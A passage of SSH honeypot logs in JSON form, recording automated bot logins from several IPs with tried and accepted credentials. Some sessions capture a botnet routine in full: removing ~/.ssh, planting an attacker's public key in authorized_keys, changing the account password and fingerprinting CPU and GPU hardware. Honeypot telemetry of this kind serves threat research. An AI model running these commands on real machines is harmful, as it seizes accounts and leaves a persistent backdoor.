$2;}'"},{"seq":32,"at":"2026-08-27T12:45:19.873829+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password+1","method":"password","accepted":true,"tier":"other"}]} {"id":"96a3a65c-c58f-4dc6-af10-dae7786f61bb","name":"silent-granite-pangolin","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":42704,"username":"cuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:12.575024+00:00","ended_at":"2026-08-27T12:45:14.389049+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9b76ebcd-253a-45bd-a4c2-9b678b0dabcb","name":"oaken-hushed-muntjac","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":42696,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:09.257541+00:00","ended_at":"2026-08-27T12:45:10.116714+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b5e6c07d-286e-458a-a0fc-17af7b21e305","name":"mottled-jaunty-sparrow","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59848,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:01.174446+00:00","ended_at":"2026-08-27T12:45:02.204623+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cfec09c7-b246-434d-9716-f24856d32047","name":"drifting-cheerful-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59834,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:44:59.575751+00:00","ended_at":"2026-08-27T12:45:00.283935+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d744511d-1abc-472a-bd84-11855955c36a","name":"fickle-reedy-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":43668,"username":"xie","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:44:00.286548+00:00","ended_at":"2026-08-27T12:44:01.812020+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:43:41.699093+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:43:41.997459+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:43:45.979101+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:43:46.242179+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:43:46.549280+00:00","kind":"input","latency_ms":null,"data":"echo -e \"xie123\\n696OixRjGmhL\\n696OixRjGmhL\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:43:46.840933+00:00","kind":"input","latency_ms":null,"data":"echo \"xie123\\n696OixRjGmhL\\n696OixRjGmhL\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:43:47.138749+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:43:47.964538+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:43:48.263838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:43:49.582820+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:43:49.882643+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:43:50.719169+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:43:51.023440+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:43:51.472510+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:43:51.773163+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:43:52.568116+00:00","kind":"output","latency_ms":null,"data":" 12:43:52 up 7 days, 9:33, 0 user, load average: 0.34, 0.3, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:43:52.867112+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:43:53.547015+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:43:53.846009+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:43:54.352243+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:43:54.652779+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:43:55.297512+00:00","kind":"output","latency_ms":null,"data":"top - 12:43:55 up 7 days, 9:34, 0 user, load average: 0.34, 0.3, 0.24\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:43:55.596505+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:43:56.119751+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:43:56.419269+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:43:57.316263+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:43:57.616646+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:43:58.167838+00:00","kind":"output","latency_ms":null,"data":"xie"},{"seq":29,"at":"2026-08-27T12:43:58.468165+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:43:59.987781+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:44:00.287335+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:44:01.725307+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"xie","password":"xie123","method":"password","accepted":true,"tier":"other"}]} {"id":"5db3e273-7b1f-4e91-a024-ef958d0a2f0e","name":"alpine-opal-dotterel","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":44656,"username":"gemini","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":197,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:43:51.439786+00:00","ended_at":"2026-08-27T12:43:51.540081+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:43:49.755782+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:43:50.256512+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:43:50.455137+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:43:50.456089+00:00","kind":"output","latency_ms":null,"data":" 12:43:50 up 7 days, 9:33, 0 user, load average: 0.31, 0.39, 0.27"},{"seq":5,"at":"2026-08-27T12:43:50.653795+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:43:50.656138+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:43:50.850082+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:43:50.850865+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:43:51.055386+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:43:51.056080+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:43:51.245579+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:43:51.254554+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:43:51.445745+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:43:51.446310+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"gemini","password":"gemini","method":"password","accepted":true,"tier":"other"}]} {"id":"2b4decfd-7187-4a21-81f0-e9b3932d8cf6","name":"prairie-ancient-loris","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57150,"username":"lighthouse","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:43:47.799358+00:00","ended_at":"2026-08-27T12:43:49.271755+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T12:43:28.798380+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:43:29.124185+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:43:32.758090+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:43:33.264445+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:43:33.595119+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nJYj0H81MYIrP\\nJYj0H81MYIrP\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:43:33.918757+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nJYj0H81MYIrP\\nJYj0H81MYIrP\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:43:34.246725+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:43:35.033597+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:43:35.361584+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:43:36.818577+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:43:37.149233+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:43:38.409112+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:43:38.744371+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:43:39.412927+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:43:39.739883+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:43:40.095777+00:00","kind":"output","latency_ms":null,"data":" 12:43:40 up 7 days, 9:33, 0 user, load average: 0.2, 0.19, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:43:40.424218+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:43:41.164080+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:43:41.496493+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:43:42.221119+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:43:42.554140+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:43:43.125610+00:00","kind":"output","latency_ms":null,"data":"top - 12:43:43 up 7 days, 9:33, 0 user, load average: 0.2, 0.19, 0.14\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:43:43.453586+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:43:43.831145+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:43:44.158010+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:43:44.917285+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:43:45.246106+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:43:45.942413+00:00","kind":"output","latency_ms":null,"data":"lighthouse"},{"seq":29,"at":"2026-08-27T12:43:46.270440+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:43:47.471220+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:43:47.800127+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:43:49.174101+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"lighthouse","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"6093304b-6641-43c9-9219-e2cab08150d2","name":"autumn-boreal-harrier","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":43686,"username":"xie","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:43:44.853109+00:00","ended_at":"2026-08-27T12:43:45.892298+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"xie","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3a3dc6f7-436f-44be-8828-4e40ae7876d9","name":"mindful-gallant-kudu","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":43676,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:43:42.663090+00:00","ended_at":"2026-08-27T12:43:44.264309+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"76fed520-d965-46b3-997c-ebb955530a81","name":"gritty-painted-lorikeet","protocol":"ssh","channel_kind":null,"src_ip":"113.191.145.50","src_port":60242,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:43:39.859636+00:00","ended_at":"2026-08-27T12:43:45.193902+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"4a06d353-e5fa-439b-af03-44d6519588a4","name":"lanky-tender-grebe","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51230,"username":"lighthouse","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:43:31.516689+00:00","ended_at":"2026-08-27T12:43:32.659640+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"lighthouse","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"15fe404b-3a67-4ae1-8c0b-541ce99fc67a","name":"solemn-granite-salmon","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51226,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:43:29.869308+00:00","ended_at":"2026-08-27T12:43:30.815127+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4d8f88f6-2dfe-4c51-b468-0240496d48b3","name":"glacial-jolly-loris","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59810,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":449,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:42:37.911180+00:00","ended_at":"2026-08-27T12:42:39.439031+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T12:42:16.678682+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:42:17.135525+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:42:21.845673+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:42:22.153194+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:42:22.601482+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user1123\\ntOY8yEfOPP7A\\ntOY8yEfOPP7A\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:42:23.046116+00:00","kind":"input","latency_ms":null,"data":"echo \"user1123\\ntOY8yEfOPP7A\\ntOY8yEfOPP7A\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:42:23.493108+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:42:24.063499+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:42:24.511087+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:42:25.796173+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:42:26.248162+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:42:27.326332+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:42:27.775917+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:42:28.582240+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:42:29.040857+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:42:29.701013+00:00","kind":"output","latency_ms":null,"data":" 12:42:29 up 7 days, 9:32, 0 user, load average: 0.16, 0.12, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:42:30.150045+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:42:30.723450+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:42:31.171349+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:42:31.673194+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:42:32.118994+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:42:32.886180+00:00","kind":"output","latency_ms":null,"data":"top - 12:42:32 up 7 days, 9:32, 0 user, load average: 0.16, 0.12, 0.1\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:42:33.333598+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:42:33.585817+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:42:34.035392+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:42:34.498467+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:42:34.947261+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:42:35.643472+00:00","kind":"output","latency_ms":null,"data":"user1"},{"seq":29,"at":"2026-08-27T12:42:36.094080+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:42:37.462061+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:42:37.913135+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:42:39.299632+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user1","password":"user1123","method":"password","accepted":true,"tier":"other"}]} {"id":"c107fcb5-0ca5-47ba-8c90-ffbc75cedf5c","name":"crystal-jagged-dormouse","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":47340,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:42:27.151888+00:00","ended_at":"2026-08-27T12:42:27.934055+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 